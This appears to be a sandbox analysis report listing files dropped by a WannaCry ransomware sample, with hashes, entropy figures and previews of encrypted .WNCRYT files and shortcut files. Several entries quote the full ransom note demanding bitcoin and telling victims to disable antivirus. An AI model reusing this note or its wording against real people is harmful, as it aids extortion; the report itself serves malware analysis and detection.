                                      C:\ProgramData\Microsoft\Windows Defender\Scans\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\ProgramData\Microsoft\Windows Defender\Scans\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):586008
                                      Entropy (8bit):7.999704665734783
                                      Encrypted:true
                                      SSDEEP:12288:0tvym5dpdAjnCDfYNkhwA7+o/pfJkPI4QJOj+Ay9PZy:0tvj56jnCDXu+3fcbJ+79hy
                                      MD5:69EF282621189716372E0A8E080CA8FC
                                      SHA1:2EBC36CF9C57C6BED02185EA785D9610270760D4
                                      SHA-256:F9BC6460FFBC4C7A696E0FDA6DD7E3258AC17CC2F336DE7FC51629AFE66A018E
                                      SHA-512:D6F513BC23BE92B8DA2D4A0E606D96FED77F1B2A3CD26F3F072B2CF92DD8F709F23ED0AC9FD5A8729615B8DC4ECFF75D019B724439D48C444B7F9DA8D275CC1C
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....Fo#Ecg....|gP;.1.2!.UDE..........A-.s.....w.V.c...(....x...-z...dK...8.GO.3..xB.:Z.b.&.EM.9)2....|..'....E.X..;.Y..B0@....T.^..D.:eN=.=K.&<..aw.%.$..B@I.]*..^..\..w.@..}J..T.4......;@..K..m..O... ...8..yY....8X..C.,N8b.u.I........2..\.....7................A.+6...x?t...,..r...~...Y. ..B...Q.Nx...}.M.u..u..R.>.^..q7.e...c.HY/;..hK_dn./...a(C..l?.,..N].+...g..pu"]...R.i..Bx".a#...=...*.]%..=.m.5n...w...L...WC/...z...d.....qF...'.<.N..$]../W.n....e;..(.*F.....U-N...f.}.7.Vq.C.$..g<h.d@..\.....i.Z....'..;;@3w..\......|..G..D.\..8+1;Z.Yg.......,...].a..CE..y.n.c..0..&...{..e...E..JV.x.1J......v.:7.K..)..{>.yj.sqx....r....F...d...|..d.VN.y=...F.5...nV..zPn....9 &.o.x...j.lk.........a.0 .tsj....d7..Z...>..-.5.....o@...._...W..7.!8..5.U.[...Vs{.|......iU.....4..+..B..I....k\...+/.1.m-tJ...XQ....?n@.`.!Q]C.vW.k.w>q....&.S..#..I.].g.....'.#(xm"S...&6.....5....}..1.H.a.e...6..X5...H.D1..W..n/BXqn....D....i.P2........O....=l.&H8...g^d...

                                      C:\ProgramData\Microsoft\Windows NT\MSFax\VirtualInbox\en-US\WelcomeFax.tif.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):89816
                                      Entropy (8bit):7.997955783015442
                                      Encrypted:true
                                      SSDEEP:1536:287f8gsfPmmuzzk9M54DKCenZnSRqBYzOc4y5N+Swo+X9V:dD8fHkzzk9s4EJopzOc48rwoq/
                                      MD5:E11DEA65203CE2D44B4280FC1D94A4D7
                                      SHA1:C9D7FE9F11896E21D8D90C538C7D5F47AC101A60
                                      SHA-256:0BF353521BB40E3D4198755A3C23338B81ED5AB05E39625A87AC16B798854899
                                      SHA-512:33A81E238F05012085B6B641FA3AE4B925F874ACA34859232AB1678C721A03477B485FC7730B00CAF7D605E677F916D786C160F41288AEA18055E94509F6A2F7
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....}gYZ.Y...D.q......#.3...i.6... ..t.$...~tF........L...9.z=o`~.7e.G.GA..k...L.46.....k.;..K..P.w.u..0.`!...r...Fw.yko.8.}q;..w.fR`!.dq..c<,+>.....~........<..M..LI.d.,~..5.\[>.&....}P%.ie..f...<..p...r.....'..........X..v(.Sw..&.SZ...q..K.|......].......N....>...`.0..UC:h)...%{..SE1..RV\.R..}C*e...yi5>....[..VN?.....X.1..-rx...........u..6.}jb...g.6.. .z0g{....b.....i....=>.>l...}`........y..E.....;...xrv.. T..^.....^.....'.../..>..HN.......m..2u>b4..a'.8~YW..y.,..i..v.m&8........~.j)...../.4\.a....(....v.bJ..r.....t...qX.MT.@.#....cL.....2.+..j..D."{...+..J....."..P....7.x'.....[........yl.?..3>.k..c.~..t..G.9....$.c...p...21.d.....w>...!...U..W.+b...W).....@.g.k..uPl|{..pH$i ...+..C.(.Q`.3/.(x..-..$d../.'1..p{.q....Q....v.Y..[.5....Vd.V.i..[...(%}......2...^.T.t+Ubn.B.w......i4.ec>....:)....#.Z.3.....0.Fb..>.....*....S..B,.Lmr%..e.c....&..K.G....[..O...y.vWR..Z%^.."y<./'..5.sJ.Eg..cf....=.....=0.b.vs......Atz.M.h.Q0g|.V...]|..H..

                                      C:\ProgramData\Microsoft\Windows NT\MSScan\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\ProgramData\Microsoft\Windows NT\MSScan\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\ProgramData\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):516712
                                      Entropy (8bit):7.99966068279103
                                      Encrypted:true
                                      SSDEEP:12288:Hk4UzLF8fapxJuXxSrtZx3HKSlHnAiUsN0s:E4UN8ipCkn5HKRs
                                      MD5:5C61CFC29BD64947377AD3D101401608
                                      SHA1:4E235D10DF4D5E4413AFCDB2AF11D4E8844382A1
                                      SHA-256:CCC5F1E7D392330503157147C5B2930813A1D36888CC1E24F85168C1D8B48BAA
                                      SHA-512:5A9525F2CA3ADA743FEE8DA644DB3FDBFB8DED6C49F536A818C50DD31D57A93EBBBA9CAF12C990E17AB7F1E9EE15D48A47CE69EF4B1140CA7B00A9B6AD61C61E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!........~..%..../.(!.e"g.v..h.?rQ..w..\..O.w....Hl..mf.....4)*1.9...hR...3....b.!.......J4.+,K..,..a..6..1(..~.n..8.$...U%L.G...J..8..dx../*"fq".....,w9_..A...B/G.+cfz.N..$qQ.;.u..\NN.p..k+.SbF...zeu.................".7.5k..@.@..'..F..?.#_.C..-Xq.......H.......m...z..$..(....u.......sB.T..[e..>=..%.....*.6!.0)P......@x6.XF6m.....F.....u..k.....j....2......`..D.b..W.z.Oi.....3.u.)[4L..c.+<.......N,.b..'..y.......R.jw..#2M+...c.tD.+".o.K..M.l....`0b.uc.].o5%...s.s.GS.....No0....t[mo.y.n.....L0.^.'....I.y.*_..1?....i.ON.k..0.....,}!...(..{h#.P...e.d.I.........:...x.x.....J.Q..y..)...8Z..p.....E)..W|@g..;."g.......$.'.<..8..s.X.1yNhA&.....i...=>G6.$*....$.u...p......_X..%Hr!..)>.B..W)._...Fp....;<...j.@....~..h.....ln.....;..%..t...?.....<.cg.7.xU....w......o...](h..............eY..2.........m.lD..!>7.DpV...P.......UZ...g.o.......[.3.L%p.....R...)#.n.d.e$...;.C.k..a.....In.0Yq..E}......M9..b....(.....uu.9...h.P<#.T.U4~..=..B6.....

                                      C:\ProgramData\Microsoft\Windows\Caches\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\ProgramData\Microsoft\Windows\Caches\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):16664
                                      Entropy (8bit):7.98923635608753
                                      Encrypted:false
                                      SSDEEP:384:WN1F8PpX7GQsXTZ/HISeFUWNFQV+vOSybZffCBUdf:+CPpXjsDZ/HUeQy1nCE
                                      MD5:673946E70226BA5C8E462195CC03803F
                                      SHA1:B2AA94352007DB87656EE026C90805E7A9FBF95D
                                      SHA-256:353318440B76FF310D6B5A4DF68D14AE87A2A9DCF5B3CCE617221ACC30CE0B5C
                                      SHA-512:E717BA4AD8D0D85AD476A2925BC5BABB70D454407936DA8ADE94E067ED5902A5A5B654E7606CF98C2C68C4880DF25C8A0BAC79AD7153BD8B54659B46E09D90CB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....#..@.....A..8...u.r......3...L...?,..........k...K...xG.c..N.)..v.>M...mO...J/...l...m.3.1J.0a&r..n.....b...m.^W(r.mf.jQ.S...*..1N% ?..KeV//....T.}.-.9..1u......6.'..sb.y...'5O......-.\.O.#.+.v....z.i.7..?.J..D..0..>...}...Y.h!IG........a.:.....@.......m*..~......g..:.zG.Z..3..1....T.I{..R..xtQY)..^F.m{..z60..gU.;..8.Z.>r..E,8.'.D.....D...a..&..r>.@..(...3o)GQY.0...H6.0...`.Es.1$..q<..td5.'p(z..A.P../..8Q9...).H|..n!...t.A.Mn.N. .c6...b,4...b.4....Uj."..z.-.,%.%a..{.|.-r.f..l.#..v.7.E.be0...r@*..[l.v."..g'}.%@}.E.M........}r8d..K6.........b#@....n`...~...+..."S..ZP.].>pF...H.8..L.......v. ........:.a../t>i..6'..A. ....0.)L..3.[....2W.9(..u..V.e...A{R....R.,..;+..a. ...V.e.&gi..y=$.'."......A....H.W..g...~.JZia..cV.-...".....ly.=..5=.n#.|+.0@V......I.~.s..a......Q^,.]15N........L.g@.\5g..N.;6.n.T.z..:?%]2..B.21...hA[O....`+Qj.xE.T.k....b_...!w..f....cO0B%&..E./g..M......M.%.O.G^.0\.0..=.....~...\.#...1..B...Nn].Q..........^.

                                      C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296168
                                      Entropy (8bit):7.999292693085701
                                      Encrypted:true
                                      SSDEEP:6144:XDZVqCj4X07krvgYXQogYFlf2qwjbQ4hqvXz4GFjXNq8cEnwl363aO:lcin7bREFlojc4h0DvNq8cENP
                                      MD5:75BDAC012BC685B536D146E5D12ECB55
                                      SHA1:4C937FE69D096D5360279D797EE3F13F219B0C2C
                                      SHA-256:A303D5A909AEFAFB249166681152706F40C7283D11625A8B680026EDD62BC032
                                      SHA-512:9DEA984FB719E11B2550048FA80DAFE65C4C47A9F0FE57489B8A032DFF0319EC42CB820E142A1ECFBF2DB748AEE4CBECFBC107FB2389110AD9C52ACBDC847B51
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.... ..H.+..j.E...1R....Gq(4m.x...3............n.%t6...Ll.~..D...$....g........M&...v.}+sUiTt.*..q...5<@w.4Qx.v......C.....f.{...[P5..Y...N...o..K...Ki.Xl...t.;....igv..\^r....F].C.=..tL.........hr)C.);.F...`..g."</.A.@~.RL|.........#.P.....^Q.!y..%............(*.!...(....&.....nz..Q.{6Z|H.u.k(:T.......q.n3`.-.\.id..K...U.....V./.Q|......Y........;v.m.M-<'..q.RUWA.'..=6.i..y.....4...]_i0....<>.e...i...*.8.o#.....D..W.)~&....._{/....JP,]...gu...&...dv....s.;.....}.....P...#.mC...l.....T.^...sl..=..2n.Q..J..>..${0...Y.^p.}..?...ycF.i..,Z....y.-....L.81..6.u5.....h.....pa4Rl~.............).......T.`..~z....9`r..;....+.....>...D./...hz.V..;..K.....j.d.......JT.........!..gO.9....?..S........+..........N.Q..i.o.#...ec....`..w..$.?..c.V.D.......!7o..y..u..T....f.a...0.Z..^|..e......5..<.`.....`@.......Sy...pS...}..X.\..q.+,.%........&.l.U.^mP.........;C/...7:,.....\K......tK.RI].q|8..i" ..F..\A-..B/.$6{...1{.A,..DL..!.,0g.:.*.......i.

                                      C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000002.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296392
                                      Entropy (8bit):7.999408592685328
                                      Encrypted:true
                                      SSDEEP:6144:ScZTHIKOc7Nbxa4LKYWTKMWgSaSOpPR6rdY4yQ+yF0RV+H:RFHYSNbxa4LKjT6hW5R2yQPKe
                                      MD5:85D9493CFDC46DEB0ED7681FA4A4043A
                                      SHA1:A002C2B903E4C4C7BF47ABCD5FD95BB614836462
                                      SHA-256:3D76ECBDCD5A3D0298D447692909692D18D98371512BCE25BBDF57679BCBE186
                                      SHA-512:FE308BDA68F04296BD0CBC988D41C1FB6274C3DAA01147F9584B3EC2FF7BF02F087CD5B2613B8AC7FAB699860F94B46E192298A2DE29736940A2F863785BDA17
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....._.RS5..-..9....]J:.H.@.....kVe..ZR.TW.....9......Z~..S5.O.y..*.?.o.......ks ...BS.5W|.......y....C.^.i)..8){....`>..F..@.t..8.G.Ef&.m..._9.^...`......"..p.5zm.J..'.e.5.............6hp...d.+..J...>06.R...Gz]W.H.E/.......n.C.&.......a..H.m....:Q..............x.....e.....2f.E.....!.^.3.,.a.........f..=...O%C...T.e%.U..>..`b.^3.I+l....7...Bo....)Oq.E..[3;..<...S.b......D...........J...6E......?..#A....~.............Q..$\..R...._...hJ...........x...m....GKvZq....>..&3.......|..?_.$....C.`3...0...c-....j....ZL.[.G...-U..q..c(....z.?.JF...&(qR.h.j......C.c5.%B..j$....3.|..I........r.x.=........].p|..C...C.l...(..S8.............g..,.4..l.>%@7.t.oP.`E/....5..\J~....<...9.[.\..2...zs3./?1"Q.j...B.-.:|.!7N...,.i..q....h9.....,"....h..\....%W.U^s...M.).....$....:..a[..T.p..(..T.s5..$.B....K&.<..E....w..HLv.&..J.P..%.....5.Z.xL..}N.......$....F..PP.y.mK.j.I.&.....8..$.B.........[...C...pJ...,Z...#..+...lo...@o...Osdr.W.q.P...j..\....C...

                                      C:\ProgramData\Microsoft\Windows\Caches\{C4C1099F-F739-440C-87E6-A09DB237D75F}.2.ver0x0000000000000001.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1528
                                      Entropy (8bit):7.851943790981927
                                      Encrypted:false
                                      SSDEEP:24:bk0N+PrIiIcgVgx4FT4gSg80Lg1heXxpAW6mc4kCEoYPSGZ8gMULYd/pIK19Sxos:bk0+4cgVJT8z0c4XxKxbHCG6tgMoovST
                                      MD5:0162E1AFFF374942D88349145E24E938
                                      SHA1:793866C79E9B23EB5E45FD9BC04A16F808F2E484
                                      SHA-256:45B42FB9930792E97EB302F3CEEC89421304931B3F3C5EBE01831F1411BBD146
                                      SHA-512:7A85A3CDE2914136256D1495A5E40E3DAE27A285B22550C79679892BA11069F0B6F98D8A3F15CD9CC0D662DE4052C97E12C46BFB7F3D8894ECF09108E7543D7D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....nym._.....(.@.0m8 .4.U.0...3;..n;...w9.4gm.)..z...\.K-...C..I..Wx.......n.-07...j`..$+u...M.*.....o2i`....N.O7\2...5.Z.+"....h..jpN..I...g.3..n..f........;s..3.Q.v...g\......j...F.-d."....4h....a............-.[t...4..m..k..H............;`..0.9..............R....>..=<%._B.....6.B.!dbs..M..x..........p..lZ.V+a1..%.2BKGA}&...(y..j.i..*.W<g+z....@C..)...w....Q....@...,b.......t......}.V.^..@.I#;..........\..BR.YN.2J...Y.#*RF'C.G....av.N...-.w.._x....l...i..U.J..tg,gpM........9.b..`..w...u7.f..i.......H$.o....a.i.Pi..B.ln.2| 9...r...,I...y.....Y.....|.@..S|Y....=......p.f%............a..[}#9.CiI...iv..s..m.1.(.m.:8.........f.^'....WI...KF.=.]j(0h...}....O.u.#........uJ...~..d....l..v..~.`;:J......HK...7.).-.g]j.3F..;.U..........%T../.%.B).y..&......]V..E.u4.$.......u..|QY)...wn....."....(.Imb.#6.....!Mxjf.]iS..N.b...M.s...H.0...-.....o..a.'..0.Vq..7Y.,$..r.Y....0..@/..l...0]..I..e.k'.........{.0xV=V...Fy[.7%...Q.z....uk...o..5.V

                                      C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):638136
                                      Entropy (8bit):7.999671120523349
                                      Encrypted:true
                                      SSDEEP:12288:SzdSxzgdyF1OHXPCEO8avvoq4SpnoQxFXCDRH+4+osg:SzdSxLO/Cz8avvoXSpNXCD44bF
                                      MD5:442C1785CECFB49281018EA749A1FD3A
                                      SHA1:A26BB31ECAE36C56BF83A71E81E1C021CDEA171C
                                      SHA-256:E5FC17A93994AD4823B5C6059612C4DA7522E013EB7C55AD4D4A84450CA58F2B
                                      SHA-512:7A2A8C5606C33ADF67CE9843D0F7DEEF41749ECBA68EAF4EACCCA66E269A08697B14D9941A7C039ECC2CC5C663BBE8F15E1D474D679297E9DA151E466F8089FB
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....j....Ir.x`.....SC.. %..0.....^......u..=....?.C#.*.7..L.j.S.....!.S..UA#?.5..b.4.6.9o@.ud../.;o]...\..mt.Vy.L.gO....H.=..rQ.j...pI.O...d..d.....hh(.!..e.......C...g..dS......2?.2TR.k\..O.X*#.}.#..^..."......WV?...h`.E..R.6S..S..B.....3e./..z..............F=.0A{W..8h"e.P.0/.H...Sc.I'X.'...S....V.\....... .p....\......}.^.#uJ.._.......;..1.bi.+...)..]7d...t....~..DGS..M...X.`.g.6...IH7`......<........./..Su.!.1.+/...f........eu.e..M.-..c..8.....E....o.A....:...ga.....Q..rh.2......V......u.Z....U.;.IP"T....0O..\....<.E'.&3i`W'.1`...&..H.E...ts.J.Y.p....h.{.]c...._.B...&.;.`t..tF.............L~$.g...L.m.....-%.k/.....5..M.y..0O+...t.n^?r*.A...I...olp..9.".C-......<t.S8]{9......{..s.M.{s.(Pp.0&/!p.....A.....U.....;1...L.~Pg7i.Kobe@...u.'..nb.. .Y....R......G..a..x#J'.......p[......>a......8...!.a...3......j.*..9.\.q...HD.s..Sl...W....G.9...."....|4_..).g.h..|.:.!..@O[.V..y.....nS6......b......|...1.L.d...8>..D]E.M.R..!.o.

                                      C:\Users\user\AppData\LocalLow\Microsoft\Windows\AppCache\4IW902AO\5\jquery-2.1.1.min[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):84536
                                      Entropy (8bit):7.997903123836836
                                      Encrypted:true
                                      SSDEEP:1536:ugcLpgR1nwNBQ1A7MUbcd2omMHBYD4LBuEl6XMsEJiPYYvKnLmj3TGd:u/LpgzknY7fBYD4LBuE0XMsEJ99ijKd
                                      MD5:C2B7516721340B7CF70DB2D06B9802C1
                                      SHA1:C9AEF35489D85972BC031FC08C69365EC23D4FF5
                                      SHA-256:E1013E23443D7A963394A68D6CB5264563CE29E074518BFDA092304D6459F05A
                                      SHA-512:4D65E3BD4250F93789DC8E72B0A11403F93ACD3B801DF1AEC29D1D3C6D8545F90700CB48C76594AAE71CB93A77909BE3FE003538D48379A8DC54AA0D0EE86D62
                                      Malicious:true
                                      Reputation:unknown
